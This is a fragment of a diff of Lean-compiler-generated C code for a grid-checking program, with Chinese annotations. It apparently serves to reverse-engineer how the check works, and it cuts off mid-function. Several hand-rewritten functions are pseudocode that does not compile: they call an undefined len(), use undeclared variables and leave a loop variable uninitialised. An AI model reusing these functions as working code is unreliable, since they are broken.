*l_Nat_allTR_loop___at_check___spec__8___boxed(lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__47; +static lean_object *l_target___closed__2; +static lean_object *l_target___closed__29; +static lean_object *l_target___closed__18; +static lean_object *l_target___closed__6; +static lean_object *l_target___closed__31; +LEAN_EXPORT lean_object *l_Array_anyMUnsafe_any___at_check___spec__10___boxed(lean_object *, lean_object *, lean_object *); +LEAN_EXPORT lean_object *LR____all_0_to_x_3_in_x_1____l_Nat_allTR_loop___at_check___spec__3___boxed(lean_object *, lean_object *, lean_object *); +LEAN_EXPORT lean_object *l_fromString___lambda__2___boxed(lean_object *, lean_object *); +lean_object *lean_get_stdin(lean_object *); +LEAN_EXPORT lean_object *l_size; +static lean_object *l_target___closed__14; +LEAN_EXPORT lean_object *LR____horizontal_all_0_to_len_i_in_a_for_a_in_x_1____l_Nat_allTR_loop___at_check___spec__6___boxed(lean_object *, lean_object *, lean_object *, lean_object *); +lean_object *l_IO_print___at_IO_println___spec__1(lean_object *, lean_object *); +static lean_object *l_target___closed__23; +static lean_object *l_target___closed__69; +LEAN_EXPORT uint8_t LR____all_0_to_x_3_in_x_1____l_Nat_allTR_loop___at_check___spec__3(lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__7; +LEAN_EXPORT lean_object *l_Array_mapMUnsafe_map___at_check___spec__7___boxed(lean_object *, lean_object *, lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__67; +LEAN_EXPORT uint8_t LR____all_0_to_len_i_in_x_1____l_Nat_allTR_loop___at_check___spec__5(lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__11; +static lean_object *l_target___closed__42; +lean_object *l_Array_range(lean_object *); +static lean_object *l_target___closed__9; +LEAN_EXPORT lean_object *LR____done____l_Array_anyMUnsafe_any___at_check___spec__2___boxed(lean_object *, lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__62; +static lean_object *l_target___closed__20; +static lean_object *l_fromString___lambda__2___closed__1; +static lean_object *l_target___closed__16; +static lean_object *l_target___closed__54; +static lean_object *l_target___closed__64; +static lean_object *l_target___closed__70; +lean_object *l_Array_extract___rarg(lean_object *, lean_object *, lean_object *); +LEAN_EXPORT lean_object *LR____not_that_all_0_to_len_i_in_a_for_a_in_x_1____l_Array_anyMUnsafe_any___at_check___spec__12___boxed(lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__44; +LEAN_EXPORT uint8_t LR____horizontal_all_0_to_len_i_in_a_for_a_in_x_1____l_Nat_allTR_loop___at_check___spec__6(lean_object *, lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__5; +uint8_t lean_nat_dec_eq(lean_object *, lean_object *); +static lean_object *l_target___closed__68; +uint8_t lean_nat_dec_lt(lean_object *, lean_object *); +lean_object *lean_nat_mod(lean_object *, lean_object *); +static lean_object *l_target___closed__46; +static lean_object *l_target___closed__77; +static lean_object *l_target___closed__40; +static lean_object *l_target___closed__55; +LEAN_EXPORT lean_object *LR____horizontal____l_Array_mapMUnsafe_map___at_check___spec__4___boxed(lean_object *, lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__45; +static lean_object *l_target___closed__53; +LEAN_EXPORT uint8_t l_Nat_allTR_loop___at_check___spec__8(lean_object *, lean_object *, lean_object *); +static lean_object *l_target___closed__32; +static lean_object *l_target___closed__26; +LEAN_EXPORT lean_object *l_fromString(lean_object *); +static lean_object *l_Nat_allTR_loop___at_check___spec__9___closed__1; +LEAN_EXPORT lean_object *l_boxSize; +lean_object *lean_nat_sub(lean_object *, lean_object *); +LEAN_EXPORT uint8_t l_Array_anyMUnsafe_any___at_check___spec__10(lean_object *, size_t, size_t); +lean_object *lean_nat_mul(lean_object *, lean_object *); +LEAN_EXPORT uint8_t l_Array_anyMUnsafe_any___at_check___spec__11(lean_object *, size_t, size_t); +static lean_object *l_target___closed__8; +static lean_object *l_target___closed__1; +static lean_object *l_target___closed__24; +static lean_object *l_target___closed__79; +static lean_object *l_target___closed__30; +static size_t l_Nat_allTR_loop___at_check___spec__9___closed__3; +lean_object *l_List_reverse___rarg(lean_object *); +LEAN_EXPORT lean_object *l_Array_anyMUnsafe_any___at_fromString___spec__3___boxed(lean_object *, lean_object *, lean_object *); +LEAN_EXPORT lean_object *l_Array_anyMUnsafe_any___at_check___spec__11___boxed(lean_object *, lean_object *, lean_object *); +size_t lean_usize_add(size_t, size_t); +static lean_object *l_target___closed__36; +static lean_object *l_target___closed__43; +lean_object *lean_array_uget(lean_object *, size_t); +static lean_object *l_target___closed__72; +static lean_object *l_target___closed__48; +lean_object *l_List_redLength___rarg(lean_object *); +lean_object *l_String_trimRight(lean_object *); +static lean_object *l_target___closed__27; +static lean_object *l_target___closed__39; +lean_object *lean_array_get_size(lean_object *); +LEAN_EXPORT lean_object *l_fromString___lambda__2(lean_object *, lean_object *); +static lean_object *l_target___closed__33; +uint8_t lean_nat_dec_le(lean_object *, lean_object *); +uint8_t lean_usize_dec_lt(size_t, size_t); +LEAN_EXPORT lean_object *l_fromString___lambda__1___boxed(lean_object *, lean_object *); +lean_object *lean_nat_add(lean_object *, lean_object *); +LEAN_EXPORT lean_object *l_check___boxed(lean_object *); +static lean_object *l_target___closed__34; +lean_object *lean_array_uset(lean_object *, size_t, lean_object *); +lean_object *lean_array_get(lean_object *, lean_object *, lean_object *); +LEAN_EXPORT lean_object *l_Array_contains___at_check___spec__1___boxed(lean_object *, lean_object *); +LEAN_EXPORT lean_object *l_List_mapTR_loop___at_fromString___spec__1(lean_object *, lean_object *); +lean_object *l_List_toArrayAux___rarg(lean_object *, lean_object *); +LEAN_EXPORT uint8_t LR____not_that_all_0_to_len_i_in_a_for_a_in_x_1____l_Array_anyMUnsafe_any___at_check___spec__12(lean_object *, size_t, size_t); +static lean_object *l_target___closed__15; +static lean_object *_init_l_target___closed__1() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + x_1 = lean_unsigned_to_nat(6u); + x_2 = lean_alloc_ctor(1, 1, 0); + lean_ctor_set(x_2, 0, x_1); + return x_2; +} +} +static lean_object *_init_l_target___closed__2() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + x_1 = lean_unsigned_to_nat(1u); + x_2 = lean_alloc_ctor(1, 1, 0); + lean_ctor_set(x_2, 0, x_1); + return x_2; +} +} +static lean_object *_init_l_target___closed__3() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + x_1 = lean_unsigned_to_nat(9u); + x_2 = lean_mk_empty_array_with_capacity(x_1); + return x_2; +} +} +static lean_object *_init_l_target___closed__4() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__3; + x_2 = l_target___closed__1; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__5() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__4; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__6() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__5; + x_2 = l_target___closed__2; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__7() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__6; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__8() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__7; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__9() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__8; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__10() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__9; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__11() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__10; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__12() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__11; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__13() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__3; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__14() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__13; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__15() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__14; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__16() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__15; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__17() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__16; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__18() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__17; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__19() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__18; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__20() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__19; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__21() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__20; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__22() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + x_1 = lean_unsigned_to_nat(5u); + x_2 = lean_alloc_ctor(1, 1, 0); + lean_ctor_set(x_2, 0, x_1); + return x_2; +} +} +static lean_object *_init_l_target___closed__23() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__16; + x_2 = l_target___closed__22; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__24() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__23; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__25() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__24; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__26() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__25; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__27() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__26; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__28() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + x_1 = lean_unsigned_to_nat(4u); + x_2 = lean_alloc_ctor(1, 1, 0); + lean_ctor_set(x_2, 0, x_1); + return x_2; +} +} +static lean_object *_init_l_target___closed__29() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + x_1 = lean_unsigned_to_nat(2u); + x_2 = lean_alloc_ctor(1, 1, 0); + lean_ctor_set(x_2, 0, x_1); + return x_2; +} +} +static lean_object *_init_l_target___closed__30() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__3; + x_2 = l_target___closed__28; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__31() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__30; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__32() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__31; + x_2 = l_target___closed__22; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__33() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__32; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__34() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__33; + x_2 = l_target___closed__29; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__35() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__34; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__36() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__35; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__37() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__36; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__38() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__37; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__39() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + x_1 = lean_unsigned_to_nat(0u); + x_2 = lean_alloc_ctor(1, 1, 0); + lean_ctor_set(x_2, 0, x_1); + return x_2; +} +} +static lean_object *_init_l_target___closed__40() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__18; + x_2 = l_target___closed__39; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__41() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__40; + x_2 = l_target___closed__29; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__42() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__41; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__43() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + x_1 = lean_unsigned_to_nat(7u); + x_2 = lean_alloc_ctor(1, 1, 0); + lean_ctor_set(x_2, 0, x_1); + return x_2; +} +} +static lean_object *_init_l_target___closed__44() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__18; + x_2 = l_target___closed__43; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__45() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__44; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__46() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__45; + x_2 = l_target___closed__22; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__47() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + x_1 = lean_unsigned_to_nat(3u); + x_2 = lean_alloc_ctor(1, 1, 0); + lean_ctor_set(x_2, 0, x_1); + return x_2; +} +} +static lean_object *_init_l_target___closed__48() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__13; + x_2 = l_target___closed__47; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__49() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__48; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__50() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__49; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__51() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__50; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__52() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__51; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__53() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__52; + x_2 = l_target___closed__28; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__54() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__53; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__55() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__54; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__56() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__14; + x_2 = l_target___closed__43; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__57() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__56; + x_2 = l_target___closed__28; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__58() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__57; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__59() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__58; + x_2 = l_target___closed__2; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__60() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__59; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__61() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__60; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__62() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__61; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__63() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__13; + x_2 = l_target___closed__28; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__64() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__63; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__65() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__64; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__66() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__65; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__67() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__66; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__68() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__67; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__69() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__68; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__70() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = lean_box(0); + x_2 = l_target___closed__69; + x_3 = lean_array_push(x_2, x_1); + return x_3; +} +} +static lean_object *_init_l_target___closed__71() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__3; + x_2 = l_target___closed__12; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__72() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__71; + x_2 = l_target___closed__21; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__73() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__72; + x_2 = l_target___closed__27; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__74() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__73; + x_2 = l_target___closed__38; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__75() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__74; + x_2 = l_target___closed__42; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__76() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__75; + x_2 = l_target___closed__46; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__77() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__76; + x_2 = l_target___closed__55; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__78() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__77; + x_2 = l_target___closed__62; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +static lean_object *_init_l_target___closed__79() +{ +_start: +{ + lean_object *x_1; + lean_object *x_2; + lean_object *x_3; + x_1 = l_target___closed__78; + x_2 = l_target___closed__70; + x_3 = lean_array_push(x_1, x_2); + return x_3; +} +} +LEAN_EXPORT uint8_t LR____done____l_Array_anyMUnsafe_any___at_check___spec__2(lean_object *x_1, lean_object *x_2, size_t x_3, size_t x_4) +{ + for (size_t x_3 /* = 0 */; x_3 < x_4; x_3++) + { + if (x_2[x_3] == *x_1) + return 1; + } + return 0; +} +LEAN_EXPORT uint8_t LR____arg2_in_arg1____l_Array_contains___at_check___spec__1(lean_object *x_1, lean_object *x_2) +{ +_start: +{ + if (len(x_1) == 0) + return 0; + // return LR____done____l_Array_anyMUnsafe_any___at_check___spec__2(x_2, x_1, x_7, x_8); + for (size_t x_7 = 0; x_7 < len(x_3); x_7++) + { + if (x_1[x_7] == *x_2) + return 1; + } + return 0; +} +} +LEAN_EXPORT uint8_t LR____all_0_to_x_3_in_x_1____l_Nat_allTR_loop___at_check___spec__3(lean_object *x_1, lean_object *x_2, lean_object *x_3) +{ +_start: +{ + if (*x_3 == 0) + return 1; + x_9 = *x_2 - *x_3; + x_10 = LR____arg2_in_arg1____l_Array_contains___at_check___spec__1(x_1, x_9); + if (x_10 == 0) + { + return 0; + } + else + { + *x_3--; + goto _start; + } +} +} +LEAN_EXPORT lean_object *LR____horizontal____l_Array_mapMUnsafe_map___at_check___spec__4(lean_object *x_1, size_t x_2, size_t x_3, lean_object *x_4) // in: idx(0..9), 9, 0, msg +{ +_start: +{ + while(x_3 < x_2) + { + lean_object *x_6; + lean_object *x_7; + lean_object *x_8; + lean_object *x_9; + lean_object *x_10; + lean_object *x_13; + x_6 = lean_array_uget(x_4, x_3); // 得到一行 + x_7 = lean_unsigned_to_nat(0u); + x_8 = lean_array_uset(x_4, x_3, x_7); + x_9 = l_instInhabitedNat; + x_10 = lean_array_get(x_9, x_6, x_1); // 再从这一行得到一个 + x_13 = lean_array_uset(x_8, x_3, x_10); // 用这一个代替这一行 + x_3 ++; + x_4 = x_13; + } + return x_4; +} +} +LEAN_EXPORT uint8_t LR____all_0_to_len_i_in_x_1____l_Nat_allTR_loop___at_check___spec__5(lean_object *x_1, lean_object *x_2, lean_object *x_3) // in: 上一步返回的数组, box(9), box(9) +{ +_start: +{ + if (x_3 == 0) + return 1; + lean_object *x_6; + lean_object *x_7; + lean_object *x_8; + lean_object *x_9; + uint8_t x_10; + x_6 = lean_unsigned_to_nat(1u); + x_7 = lean_nat_sub(x_3, x_6); + lean_dec(x_3); + x_8 = lean_nat_add(x_7, x_6); + x_9 = lean_nat_sub(x_2, x_8); + lean_dec(x_8); + x_10 = LR____arg2_in_arg1____l_Array_contains___at_check___spec__1(x_1, x_9); + if (x_10 == 0) + { + return 0; + } + else + { + x_3 = x_7; + goto _start; + } +} +} +LEAN_EXPORT uint8_t LR____horizontal_all_0_to_len_i_in_a_for_a_in_x_1____l_Nat_allTR_loop___at_check___spec__6(lean_object *x_1, lean_object *x_2, lean_object *x_3, lean_object *x_4) // in: msg, box(9), box(9), box(9) +{ +_start: +{ + if (*x_4 == 0) + return 1; + lean_object *x_7; + lean_object *x_8; + lean_object *x_10; + size_t x_11; + size_t x_12; + lean_object *x_13; + lean_object *x_14; + uint8_t x_15; + x_10 = lean_nat_sub(x_3, x_4); + x_11 = lean_usize_of_nat(x_2); + x_12 = 0; + x_13 = LR____horizontal____l_Array_mapMUnsafe_map___at_check___spec__4(x_10, x_11, x_12, x_1); + x_14 = lean_array_get_size(x_13); + x_15 = LR____all_0_to_len_i_in_x_1____l_Nat_allTR_loop___at_check___spec__5(x_13, x_14, x_14); + if (x_15 == 0) + { + return 0; + } + else + { + x_4 --; + goto _start; + } +} +} +LEAN_EXPORT lean_object *l_Array_mapMUnsafe_map___at_check___spec__7(lean_object *x_1, lean_object *x_2, size_t x_3, size_t x_4, lean_object *x_5) // in: msg_mat, idx(0..9), 9, 0, ano_msg_mat +{ +_start: +{ + uint8_t x_6; + x_6 = lean_usize_dec_lt(x_4, x_3); + if (x_6 == 0) + { + return x_5; + } + else + { + lean_object *x_7; + lean_object *x_8; + lean_object *x_9; + lean_object *x_10; + lean_object *x_11; + lean_object *x_12; + lean_object *x_13; + lean_object *x_14; + lean_object *x_15; + lean_object *x_16; + size_t x_17; + size_t x_18; + lean_object *x_19; + x_7 = lean_array_uget(x_5, x_4); // 得到一个0到9的数(?) + x_8 = lean_unsigned_to_nat(0u); + x_9 = lean_array_uset(x_5, x_4, x_8); + x_10 = l_Array_mapMUnsafe_map___at_check___spec__7___closed__1; // is an empty array + x_11 = lean_array_get(x_10, x_1, x_7); // 得到一行(下标是?) + x_12 = lean_nat_add(x_7, x_2); // 值加下标?对角线? + lean_dec(x_7); + x_13 = l_size; + x_14 = lean_nat_mod(x_12, x_13); + lean_dec(x_12); + x_15 = l_instInhabitedNat; + x_16 = lean_array_get(x_15, x_11, x_14); + lean_dec(x_14); + lean_dec(x_11); + x_17 = 1; + x_18 = lean_usize_add(x_4, x_17); + x_19 = lean_array_uset(x_9, x_4, x_16); + x_4 = x_18; + x_5 = x_19; + goto _start; + } +} +} +LEAN_EXPORT uint8_t l_Nat_allTR_loop___at_check___spec__8(lean_object *x_1, lean_object *x_2, lean_object *x_3) +{ +_start: +{ + lean_object *x_4; + uint8_t x_5; + x_4 = lean_unsigned_to_nat(0u); + x_5 = 